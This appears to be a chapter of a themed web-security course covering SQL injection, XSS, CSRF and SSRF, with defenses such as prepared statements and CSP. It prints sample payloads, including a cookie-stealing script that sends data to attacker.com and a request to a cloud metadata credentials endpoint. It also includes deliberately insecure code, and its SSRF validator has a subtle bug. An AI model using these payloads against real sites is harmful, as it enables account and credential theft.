Metadata Card

• Prerequisites: Vol 4 Networking (HTTP protocol), Chapter 3 (JWT, Session/Cookie), basic SQL knowledge
• Estimated time: 70 minutes
• Core difficulty: Advanced
• Completion mark: Can explain the principle of SQL injection and four layers of defense; can distinguish the three types of XSS; can design defense plans for common web attacks

---

Your Progress

The communication system on the magic courier routes is finally up and running. You have encryption formations, rune certificates for identity verification, and OAuth magic tokens for third-party authorization—these are the shields and ramparts of the courier routes.

But shields have gaps, and walls have hidden doors. Attackers don't need to break through your encryption spells head-on; they can take an easier path—making your own station system expose its own vulnerabilities.

A Grey Tower station administrator developed a "Courier Route Log Query System" to record and query daily teleportation records. You checked—this system directly pastes the administrator's input teleport log number into the magic query spell.

Your Task

Master the most common web security vulnerabilities and their defense methods. You'll deeply understand the root causes of SQL injection, XSS, CSRF, SSRF and modern defense strategies. These aren't "textbook concepts"—every category in the OWASP Top 10 has repeatedly caused major incidents in the real world.

Chapter Layers

• Required: SQL injection (with prepared statements), XSS (three types), CSRF (SameSite Cookie), SSRF
• Optional: CSP (Content Security Policy) configuration, Request Smuggling
• Advanced: Encoding Attacks, HTTP/2 multiplexing and security boundaries

---

Breaking Ground · Tracing the Origin

SQL Injection: The Simplest Breach

The fortress patrol report system has a query interface where administrators enter a patrol number to view the corresponding record. But the interface is built with string-concatenated SQL—attackers don't need to breach the walls head-on; they make the wall open itself:

# Insecure! — Don't use in production
def get_patrol_report(patrol_id):
    query = f"SELECT * FROM patrol_reports WHERE id = {patrol_id}"
    cursor.execute(query)
    return cursor.fetchall()

If patrol_id comes from user input, the attacker can pass:

?patrol_id=1 OR 1=1

The query becomes:

SELECT * FROM patrol_reports WHERE id = 1 OR 1=1

— returns all patrol reports. And this is just the beginning.

More severe attacks:

1; DROP TABLE patrol_reports; --
1 UNION SELECT username, password_hash, ... FROM users --

SQL Injection's Root Cause: Code and data are not separated.

When SQL statements mix code (SQL instructions) and data (user input) without clear separation, attackers can inject code.

Defense Layers (from shallow to deep):

Layer 1 (Mandatory): Parameterized Queries / Prepared Statements

This is the core defense. Separate SQL structure (code) from data:

# Python + psycopg2 (PostgreSQL)
def get_patrol_report_safe(patrol_id):
    query = "SELECT * FROM patrol_reports WHERE id = %s"
    cursor.execute(query, (patrol_id,))
    return cursor.fetchall()

# Java + JDBC
# PreparedStatement stmt = conn.prepareStatement(
#     "SELECT * FROM patrol_reports WHERE id = ?"
# );
# stmt.setInt(1, patrolId);

# Node.js + mysql2
# const [rows] = await connection.execute(
#     'SELECT * FROM patrol_reports WHERE id = ?',
#     [patrolId]
# );

How prepared statements work:

1. The database first parses the SQL structure (knows it's a SELECT)
2. Parameters are marked with placeholders (? / %s)
3. The database binds parameter values, automatically escaping or treating them as literals
4. User input is never parsed as SQL keywords

Layer 2: Principle of Least Privilege

The database connection user shouldn't have DROP TABLE permissions. The user connecting the patrol system database should only have SELECT permission for that system.

-- Create a dedicated low-privilege user
CREATE USER patrol_reader WITH PASSWORD '...';
GRANT SELECT ON patrol_reports TO patrol_reader;
-- No INSERT/UPDATE/DELETE/DROP/TRUNCATE permissions

Layer 3: Input Validation

Never trust user input. Even with parameterized queries, do input type validation:

def get_patrol_report(patrol_id):
    if not isinstance(patrol_id, int):
        # Or use try: int(patrol_id)
        raise ValueError("patrol_id must be an integer")
    # ... safe query

Layer 4: WAF and RASP

Web Application Firewall (like ModSecurity) and Runtime Application Self-Protection are the last line of defense. They can detect and block SQL injection at the network or runtime level.

XSS (Cross-Site Scripting)

SQL injection attacks the backend. XSS attacks the frontend—executing malicious scripts in the user's browser.

Three Types of XSS:

Type	Trigger	Persistence	Harm
Stored	Malicious script saved on server, executes on every page load	Persistent	Greatest—affects all visitors
Reflected	Malicious script in URL, triggers when user clicks link	Temporary	Requires user coaxing
DOM-based	Triggered by client-side JS modifying the DOM, bypassing server	Temporary	Stealthy—no trace in server logs

Stored XSS Example:

An outpost message board system where sentries exchange intel. But if an attacker embeds a script in their message content, other sentries who view the message will unknowingly execute that script—and the server doesn't even know, because the attack code is already stored in the database:

# Insecure message submission
def submit_message(username, content):
    query = "INSERT INTO messages (username, content) VALUES (%s, %s)"
    cursor.execute(query, (username, content))

# Insecure message display
def render_messages():
    messages = fetch_all_messages()
    html = "<ul>"
    for msg in messages:
        # Directly puts user content into HTML!
        html += f"<li><b>{msg['username']}</b>: {msg['content']}</li>"
    html += "</ul>"
    return html

Attacker submits:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

When other users view the message board, this script executes, sending their cookies to the attacker.

Defending Against XSS: Context-Aware Output Encoding

Different contexts require different escaping—just like fortress sentries use different ink for writing on walls vs. painting symbols on flags. Fixing the message board isn't about deleting all content; it's about telling the browser: this content is plain text, don't treat it as code:

Context	Escaping	Example
HTML tag content	Escape < > & " '	&lt;script&gt;
HTML attribute	Escape quotes and special chars	Quotes in onclick="..."
JavaScript string	Escape \ ' " etc.	\x3cscript\x3e
URL parameter	URL encoding	%3Cscript%3E
CSS	Escape special characters

Python (Flask's Jinja2 templates auto-escape by default):

# Jinja2 auto-escapes HTML in variables by default
# {{ user_input }} auto-converts to <script>
# To render HTML intentionally: {{ content|safe }} — but ensure content is sanitized

# Or use a dedicated HTML sanitizer
import bleach

allowed_tags = ['b', 'i', 'em', 'strong', 'a', 'p', 'br']
allowed_attrs = {'a': ['href', 'title']}

clean_content = bleach.clean(
    raw_input,
    tags=allowed_tags,
    attributes=allowed_attrs,
)

Java (JSP should use JSTL's c:out instead of EL expressions):

<%-- Safe: auto HTML escaping --%>
<c:out value="${message.content}" />

<%-- Unsafe: direct output --%>
${message.content}

React / Vue and other modern frontend frameworks escape interpolated values by default ({content} / ), but watch out for misuse of dangerouslySetInnerHTML / v-html.

More Thorough Defense: Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser to only execute scripts from specific sources. Even if the message board's XSS isn't fully fixed, CSP acts as the last line of defense—like installing a magic barrier on every wall, limiting who can pass through even if there's a hidden door:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

This policy tells the browser: only allow scripts from the same origin and the specified CDN. Inline scripts (<script>alert(1)</script>) and eval() are prohibited (unless 'unsafe-inline' is specified, but it's not recommended).

# Setting CSP in Flask
@app.after_request
def add_csp(response):
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data:; "
        "frame-ancestors 'none';"
    )
    return response

CSRF (Cross-Site Request Forgery)

CSRF is another attack: the user is logged into the fortress system (has a cookie), and the attacker tricks the user into visiting a malicious webpage that automatically makes a cross-site request. The cookie is automatically sent, and the server thinks it's a legitimate operation by the user.

Victim's browser:
  ┌──────────────────────┐
  │ Logged into          │ ← session cookie
  │ borderfortress.com   │
  │ Also visits:         │
  │ attacker.com/evil    │
  └──────────────────────┘
         │
         ├──→ GET borderfortress.com/transfer?amount=1000&to=attacker
         │    (browser automatically attaches the cookie)
         │
         └──→ Server thinks it's a legitimate user operation!

CSRF Defense (Modern approach, no token needed): SameSite Cookie

# Set-Cookie with SameSite attribute
response.set_cookie(
    "session_id",
    session_id,
    samesite="Lax",    # or "Strict"
    secure=True,       # HTTPS only
    httponly=True,     # Disallow JS access
    max_age=3600,
)

The three SameSite values:

Value	Behavior
Strict	Completely disallow cookies on cross-site requests
Lax	Allow top-level navigation (GET link redirects), disallow POST forms, fetch, XMLHttpRequest
None	No restrictions (requires Secure)

Since Chrome 80, cookies without a SameSite attribute default to SameSite=Lax. This essentially solves CSRF—but not all browsers support it, and legacy systems may need explicit protection.

Traditional CSRF Token Approach (as fallback or compatibility):

# Server generates a random token, embeds it in the form
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random_token_abc123">
  <input type="text" name="amount">
  <input type="submit" value="Transfer">
</form>

# Server verifies
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

Attackers can't obtain the user's CSRF token (protected by same-origin policy), so they can't construct a valid malicious request.

SSRF (Server-Side Request Forgery)

SSRF is where an attacker makes the server send requests to internal networks.

Attacker → Your App Server → Internal services (database / cloud metadata API / ...)

Scenario: The outpost system lets users enter a URL, and the server fetches that URL's content for display:

# Insecure URL fetching
def fetch_url(url):
    # User passes: http://169.254.169.254/latest/meta-data/iam/security-credentials/
    # This is an AWS/GCP internal metadata endpoint!
    response = requests.get(url, timeout=5)
    return response.text

Attackers can use SSRF to:

1. Scan your internal network topology
2. Access cloud provider metadata APIs (retrieving temporary credentials)
3. Access internal databases or admin panels
4. Attack internal Redis / Memcached (unauthenticated ports)

SSRF Defense:

import ipaddress
from urllib.parse import urlparse

def safe_fetch_url(url):
    parsed = urlparse(url)
    
    # 1. Block internal addresses
    hostname = parsed.hostname
    if hostname == 'localhost' or hostname == '127.0.0.1':
        raise ValueError("Local addresses not allowed")
    
    try:
        ip = ipaddress.ip_address(hostname)
        if ip.is_private:
            # 10.x.x.x, 172.16-31.x.x, 192.168.x.x
            raise ValueError("Private IP addresses not allowed")
    except ValueError:
        pass  # domain name
    
    # 2. Restrict protocol and port
    if parsed.scheme not in ('http', 'https'):
        raise ValueError("Only HTTP/HTTPS allowed")
    
    # 3. Whitelist URLs (if possible)
    ALLOWED_DOMAINS = ['maps.borderfortress.com', 'weather.api.com']
    if not any(hostname.endswith(d) for d in ALLOWED_DOMAINS):
        raise ValueError("URL not in allowed list")
    
    # 4. Limit redirects
    response = requests.get(url, allow_redirects=False, timeout=5)
    
    return response.text

Complete OWASP Top 10 (2021):

Rank	Category	One-Liner
A01	Broken Access Control	Missing permission checks; users can operate beyond their rights
A02	Cryptographic Failures	Bad encryption (plaintext passwords, weak hashes, short keys)
A03	Injection	SQL, NoSQL, OS command injection—code and data not separated
A04	Insecure Design	Architecture lacks security considerations (no rate limiting, missing audit)
A05	Security Misconfiguration	Default configs, debug mode open, unnecessary ports exposed
A06	Vulnerable Components	Dependencies with known vulnerabilities (log4j, struts2)
A07	Identification and Auth Failures	Weak passwords, session fixation, incorrect token verification
A08	Software and Data Integrity Failures	Supply chain attacks, CI/CD injection, insecure auto-updates
A09	Security Logging and Monitoring Failures	No attack logging, can't detect intrusions
A10	SSRF	Server-Side Request Forgery

---

Common Pitfalls

• Thinking ORM automatically prevents SQL injection. ORM isn't safe either—some ORM methods (raw queries, certain where parameter passing) still carry injection risk.
• Only doing frontend validation. Frontend validation is for user experience only, not a security measure. Attackers can bypass the frontend and send HTTP requests directly.
• CSP policies that are too permissive. script-src 'self' 'unsafe-inline' is almost as bad as having no CSP. 'unsafe-inline' allows all inline scripts to execute.
• XSS risk with JSONP. JSONP executes cross-domain scripts in the current page. Avoid using it; prefer CORS.
• Thinking CSRF only affects POST requests. GET request endpoints (like operations triggered by image URLs) also have CSRF risk. SameSite=Lax covers most scenarios.
• HTTPS doesn't mean secure. HTTPS only guarantees transport-layer encryption. Application-layer vulnerabilities (XSS, SQLi) can still happen over HTTPS.

---

Pass Challenges

• Warm-up: In one of your web applications, check all SQL queries to confirm no string concatenation. Check all places that accept user input to confirm parameterized queries are used.
• Challenge: Build a simple message board app (Flask / Express / Spring Boot), intentionally reproduce a stored XSS, then fix it (using correct encoding) and add a CSP header.
• Observe: Open browser DevTools Network panel, visit a website's login page, check the Set-Cookie response header—see if you can find SameSite, HttpOnly, Secure attributes.
• Troubleshoot: A user reports "I can post on the message board, but images linked in the post don't display." You find the issue is CSP blocking external images. How do you properly solve this (rather than just relaxing img-src)?

---

Traveler's Notes

• The root cause of SQL injection is mixing code and data. Parameterized queries are the first line of defense.
• XSS is a frontend vulnerability: don't trust user input, properly encode output for the context.
• CSP is an important part of web security defense in depth (even if XSS injection succeeds, it prevents execution).
• CSRF is largely solved in the SameSite Cookie era, but understanding and backward compatibility still matter.
• SSRF expands the attack surface—ensure your server doesn't become a springboard for attacking other internal systems.
• HTTPS protects the transport layer, not the application layer. Both are needed.

---

Next Stop Preview

You've fixed the various vulnerabilities in the fortress web application. But attackers move to a lower level—the operating system itself. If the system kernel is exposed, all application-layer defenses are meaningless. Next chapter, we examine security defenses at the operating system level.